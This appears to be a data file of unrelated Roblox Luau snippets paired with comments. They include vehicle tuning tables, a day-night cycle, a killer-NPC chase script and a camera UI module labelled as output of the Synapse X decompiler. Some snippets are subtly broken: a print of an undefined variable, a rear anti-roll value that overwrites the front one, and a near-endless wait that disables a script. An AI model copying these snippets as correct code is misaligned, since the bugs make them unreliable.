Clones the given instance and adds it to the trove. Shorthand for
`trove:Add(instance:Clone())`.
]=] |
function Trove:Clone(instance: Instance): Instance
if self._cleaning then
error("Cannot call trove:Clone() while cleaning", 2)
end
return self:Add(instance:Clone())
end
|
-- Handles respawning |
hum.Died:connect(function()
wait(5)
backup.Parent = hum.Parent.Parent
backup:makeJoints()
hum.Parent:Destroy()
end)
hum.Seated:connect(function()
wait(3)
if hum ~= nil then
hum.Jump = true
end
end)
|
-- Looks for a folder within workspace.Terrain that contains elements to visualize casts. |
local function GetFastCastVisualizationContainer(): Instance
local fcVisualizationObjects = workspace.Terrain:FindFirstChild(FC_VIS_OBJ_NAME)
if fcVisualizationObjects ~= nil then
return fcVisualizationObjects
end
fcVisualizationObjects = Instance.new("Folder")
fcVisualizationObjects.Name = FC_VIS_OBJ_NAME
fcVisualizationObjects.Archivable = false -- TODO: Keep this as-is? You can't copy/paste it if this is false. I have it false so that it doesn't linger in studio if you save with the debug data in there.
fcVisualizationObjects.Parent = workspace.Terrain
return fcVisualizationObjects
end
|
-- SERVICES |
local Players = game:GetService("Players")
local HttpService = game:GetService("HttpService")
|
--PromptShown
--* the bread and butter of the interface, the interface should present
--* the player with the prompt and responses. The dialogueFolder is the
--* folder representing the dialogue, the prompTable is a table in the
--* following format:
--* {
--* Line = "The prompt string.",
--* Data = [the data from the prompt node],
--* }
--* and the responseTables is a list of tables in the following format:
--* {
--* Line = "Some string to show.",
--* Callback = [function to call if the player chooses this response],
--* Data = [the data from the response node],
--* }
--* if a player chooses the response, call the callback. |
function Interface.PromptShown(dialogueFolder, promptTable, responseTables)
end
|
--[[Susupension]] |
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 5200 -- Spring Force
Tune.FAntiRoll = 35 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .3 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 5200 -- Spring Force
Tune.FAntiRoll = 35 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .3 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = true -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Black" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
--[[
TransparencyController - Manages transparency of player character at close camera-to-subject distances
2018 Camera Update - AllYourBlox
--]] |
wait(999999999999999999999)
local MAX_TWEEN_RATE = 2.8 -- per second
local Util = require(script.Parent:WaitForChild("CameraUtils"))
|
-- MODULES -- |
local FilterService = require(game.ServerScriptService.Services.FilterService)
|
--Change the stats! |
game.Players.PlayerAdded:Connect(function(player)
local leaderstats= Instance.new("Folder")
leaderstats.Name= ("leaderstats")
leaderstats.Parent= player
local currency1= Instance.new("IntValue")
currency1.Name= ("Coins") -- CHANGE IT!
currency1.Parent = leaderstats
currency1.Value = 0
local currency2= Instance.new("IntValue")
currency2.Name= ("Joins") -- CHANGE IT!
currency2.Parent = leaderstats
currency2.Value = 0
end)
|
--- Invoked |
Signal.Invoked = function(funcName)
funcName = string.lower(funcName)
local func = GetFunc(funcName)
--
return func
end
|
-- distance the pet can be from you |
maxDistance = 10
|
--[[Engine]] |
--Torque Curve
Tune.Horsepower = 209 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
-- Waits for parent.child to exist, then returns it |
local function WaitForChild(parent, childName)
assert(parent, "ERROR: WaitForChild: parent is nil")
while not parent:FindFirstChild(childName) do print(child) wait(1/30) end
return parent[childName]
end
|
-- updates length of the Bezier |
function Bezier:UpdateLength()
-- important values
local points = self:GetAllPoints()
local iterations = self.LengthIterations
-- check if points is less than 2 (need at least 2 points to calculate length)
if #points < 2 then
return 0, {{0, 0, 0}, {0, 0, 0}}
end
-- start iteration
local l = 0
local sums = {}
for i = 1, iterations do
local dldt = self:CalculateDerivativeAt((i - 1) / (iterations - 1))
l += dldt.Magnitude * (1 / iterations)
table.insert(sums, {((i - 1) / (iterations - 1)), l, dldt})
end
-- return length and sum table
self.Length, self.LengthIndeces = l, sums
end
|
-- dayLength defines how long, in minutes, a day in your game is. Feel free to alter it. |
local dayLength = 4
local cycleTime = dayLength*60
local minutesInADay = 24*60
local lighting = game:GetService("Lighting")
local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime
local endTime = startTime + cycleTime
local timeRatio = minutesInADay / cycleTime
if dayLength == 0 then
dayLength = 1
end
repeat
local currentTime = tick()
if currentTime > endTime then
startTime = endTime
endTime = startTime + cycleTime
end
lighting:setMinutesAfterMidnight((currentTime - startTime)*timeRatio)
wait(1/15)
until false
|
-- ROBLOX deviation: predefine variables |
local isTaggedTemplateLiteral, isEmptyString, isEmptyTable, pluralize
type TemplateData = Global_TemplateData
local EXPECTED_COLOR = chalk.green
local RECEIVED_COLOR = chalk.red
local function validateArrayTable(table_: unknown): ()
if not Array.isArray(table_) then
error(
Error.new(
"`.each` must be called with an Array or Tagged Template Literal.\n\n"
.. ("Instead was called with: %s\n"):format(pretty(table_, { maxDepth = 1, min = true }))
)
)
end
if isTaggedTemplateLiteral(table_) then
if isEmptyString(table_[1]) then
error(Error.new("Error: `.each` called with an empty Tagged Template Literal of table data.\n"))
end
error(
Error.new(
"Error: `.each` called with a Tagged Template Literal with no data, remember to interpolate with ${expression} syntax.\n"
)
)
end
if isEmptyTable(table_) then
error(Error.new("Error: `.each` called with an empty Array of table data.\n"))
end
end
exports.validateArrayTable = validateArrayTable
function isTaggedTemplateLiteral(array: any)
return array.raw ~= nil
end
function isEmptyTable(table_: Array<unknown>)
return #table_ == 0
end
function isEmptyString(str: string | unknown)
return typeof(str) == "string" and String.trim(str) == ""
end
local function validateTemplateTableArguments(headings: Array<string>, data: TemplateData): ()
-- ROBLOX deviation START: dealing with arrays instead of a variadic list of values, error if any has less or more elements
Array.forEach(data, function(array, index)
local countDifference = #headings - #array
local missingData = if countDifference >= 0 then countDifference else (countDifference - #headings)
if missingData ~= 0 then
error(
Error.new(
("%s arguments supplied for given headings:\n"):format(
if countDifference > 0 then "Not enough" else "Too many"
)
.. tostring(EXPECTED_COLOR(Array.join(headings, " | ")))
.. "\n\n"
.. "Received:\n"
.. tostring(RECEIVED_COLOR(pretty(data)))
.. "\n\n"
.. ("%s %s %s in row %d"):format(
if countDifference > 0 then "Missing" else "Remove",
RECEIVED_COLOR(tostring(missingData)),
pluralize("argument", missingData),
index
)
)
)
end
end)
-- ROBLOX deviation END
end
exports.validateTemplateTableArguments = validateTemplateTableArguments
function pluralize(word: string, count: number)
return word .. (if count == 1 then "" else "s")
end
|
--if script.Parent.Storage.CurrentGear.Value == 1 then |
carSeat.Parent.Parent.Wheels.FL.FLDisk.CanCollide = false
carSeat.Parent.Parent.Wheels.FR.FRDisk.CanCollide = false
carSeat.Parent.Parent.Wheels.RL.RLDisk.CanCollide = false
carSeat.Parent.Parent.Wheels.RR.RRDisk.CanCollide = false |
-- if version > SNAPSHOT_VERSION then
-- return Error(
-- chalk.red(
-- chalk.red.bold('Outdated Jest version') ..": The version of this " ..
-- "snapshot file indicates that this project is meant to be used " ..
-- "with a newer version of Jest. The snapshot file version ensures " ..
-- "that all developers on a project are using the same version of " ..
-- "Jest. Please update your version of Jest and re-run the tests.\n\n"
-- ) ..
-- "Expected: v${SNAPSHOT_VERSION}\n" ..
-- "Received: v${version}"
-- )
-- end | |
--NOTE: Ugly! |
local function OnKeyDown(key)
key = string.lower(key)
if key == 'e' then
local now = time()
if now > LastSummonTime + SUMMON_COOLDOWN then
LastSummonTime = now
local humanoid = MyModel:FindFirstChild('Humanoid')
if humanoid then
humanoid.WalkSpeed = 0
end
Spawn(function()
for i = 1, 3 do
if GongSound then GongSound:Play() end
wait(1.5)
end
end)
if SummonTrack then
SummonTrack:Play()
wait(3.125)
end
RaiseSkeletons()
wait(1)
if humanoid then
humanoid.WalkSpeed = 18
end
end
end
end
local function OnEquipped(mouse)
MyModel = Tool.Parent
mouse.KeyDown:connect(OnKeyDown)
local humanoid = MyModel:FindFirstChild('Humanoid')
if humanoid then -- Preload animations
SummonTrack = humanoid:LoadAnimation(SummonAnimation)
end
end
local function OnUnequipped()
if SummonTrack then SummonTrack:Stop() end
end
|
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]] | --
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
function FindNearestBae()
local NoticeDistance=300;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("HumanoidRootPart")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("HumanoidRootPart");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("HumanoidRootPart")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(5000);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
Wait(0.5);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
Wait(0.2);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=36;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
else
Notice=false;
NoticeDebounce=false;
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=4000;
JeffTheKillerHumanoid.JumpPower=60;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end; |
-- Decompiled with the Synapse X Luau decompiler. |
local l__Players__1 = game:GetService("Players");
local v2 = l__Players__1.LocalPlayer;
if not v2 then
l__Players__1:GetPropertyChangedSignal("LocalPlayer"):Wait();
v2 = l__Players__1.LocalPlayer;
end;
local u1 = false;
local u2 = nil;
local function u3(p1)
return function(p2)
local v3 = Instance.new(p1);
p2.Parent = nil;
local v4, v5, v6 = pairs(p2);
while true do
local v7 = nil;
local v8 = nil;
v8, v7 = v4(v5, v6);
if not v8 then
break;
end;
v6 = v8;
if type(v8) == "string" then
v3[v8] = v7;
else
v7.Parent = v3;
end;
end;
v3.Parent = p2.Parent;
return v3;
end;
end;
local u4 = UDim2.new(0, 80, 0, 58);
local u5 = Color3.fromRGB(32, 32, 32);
local u6 = Color3.fromRGB(200, 200, 200);
local u7 = (function(p3, p4)
local v9 = p3:FindFirstChildOfClass(p4);
while not v9 or v9.ClassName ~= p4 do
v9 = p3.ChildAdded:Wait();
end;
return v9;
end)(v2, "PlayerGui");
local u8 = nil;
local u9 = nil;
local u10 = nil;
local u11 = nil;
local v10 = {};
local function u12()
assert(not u1);
u2 = u3("ScreenGui")({
Name = "RbxCameraUI",
AutoLocalize = false,
Enabled = true,
DisplayOrder = -1,
IgnoreGuiInset = false,
ResetOnSpawn = false,
ZIndexBehavior = Enum.ZIndexBehavior.Sibling,
Parent = u7,
(u3("ImageLabel")({
Name = "Toast",
Visible = false,
AnchorPoint = Vector2.new(0.5, 0),
BackgroundTransparency = 1,
BorderSizePixel = 0,
Position = UDim2.new(0.5, 0, 0, 8),
Size = u4,
Image = "rbxasset://textures/ui/Camera/CameraToast9Slice.png",
ImageColor3 = u5,
ImageRectSize = Vector2.new(6, 6),
ImageTransparency = 1,
ScaleType = Enum.ScaleType.Slice,
SliceCenter = Rect.new(3, 3, 3, 3),
ClipsDescendants = true,
u3("Frame")({
Name = "IconBuffer",
BackgroundTransparency = 1,
BorderSizePixel = 0,
Position = UDim2.new(0, 0, 0, 0),
Size = UDim2.new(0, 80, 1, 0),
u3("ImageLabel")({
Name = "Icon",
AnchorPoint = Vector2.new(0.5, 0.5),
BackgroundTransparency = 1,
Position = UDim2.new(0.5, 0, 0.5, 0),
Size = UDim2.new(0, 48, 0, 48),
ZIndex = 2,
Image = "rbxasset://textures/ui/Camera/CameraToastIcon.png",
ImageColor3 = u6,
ImageTransparency = 1
})
}), u3("Frame")({
Name = "TextBuffer",
BackgroundTransparency = 1,
BorderSizePixel = 0,
Position = UDim2.new(0, 80, 0, 0),
Size = UDim2.new(1, -80, 1, 0),
ClipsDescendants = true,
u3("TextLabel")({
Name = "Upper",
AnchorPoint = Vector2.new(0, 1),
BackgroundTransparency = 1,
Position = UDim2.new(0, 0, 0.5, 0),
Size = UDim2.new(1, 0, 0, 19),
Font = Enum.Font.GothamSemibold,
Text = "Camera control enabled",
TextColor3 = u6,
TextTransparency = 1,
TextSize = 19,
TextXAlignment = Enum.TextXAlignment.Left,
TextYAlignment = Enum.TextYAlignment.Center
}), u3("TextLabel")({
Name = "Lower",
AnchorPoint = Vector2.new(0, 0),
BackgroundTransparency = 1,
Position = UDim2.new(0, 0, 0.5, 3),
Size = UDim2.new(1, 0, 0, 15),
Font = Enum.Font.Gotham,
Text = "Right mouse button to toggle",
TextColor3 = u6,
TextTransparency = 1,
TextSize = 15,
TextXAlignment = Enum.TextXAlignment.Left,
TextYAlignment = Enum.TextYAlignment.Center
})
})
}))
});
u8 = u2.Toast;
u9 = u8.IconBuffer.Icon;
u10 = u8.TextBuffer.Upper;
u11 = u8.TextBuffer.Lower;
u1 = true;
end;
function v10.setCameraModeToastEnabled(p5)
if not p5 and not u1 then
return;
end;
if not u1 then
u12();
end;
u8.Visible = p5;
if not p5 then
v10.setCameraModeToastOpen(false);
end;
end;
local l__TweenService__13 = game:GetService("TweenService");
local u14 = TweenInfo.new(0.25, Enum.EasingStyle.Quad, Enum.EasingDirection.Out);
local u15 = UDim2.new(0, 326, 0, 58);
function v10.setCameraModeToastOpen(p6)
assert(u1);
local v11 = {
Size = p6 and u15 or u4
};
if p6 then
local v12 = 0.4;
else
v12 = 1;
end;
v11.ImageTransparency = v12;
l__TweenService__13:Create(u8, u14, v11):Play();
local v13 = {};
if p6 then
local v14 = 0;
else
v14 = 1;
end;
v13.ImageTransparency = v14;
l__TweenService__13:Create(u9, u14, v13):Play();
local v15 = {};
if p6 then
local v16 = 0;
else
v16 = 1;
end;
v15.TextTransparency = v16;
l__TweenService__13:Create(u10, u14, v15):Play();
local v17 = {};
if p6 then
local v18 = 0;
else
v18 = 1;
end;
v17.TextTransparency = v18;
l__TweenService__13:Create(u11, u14, v17):Play();
end;
return v10;
|
--------| Reference |-------- |
local StarterGui = game:GetService("StarterGui")
|
--// Damage Settings |
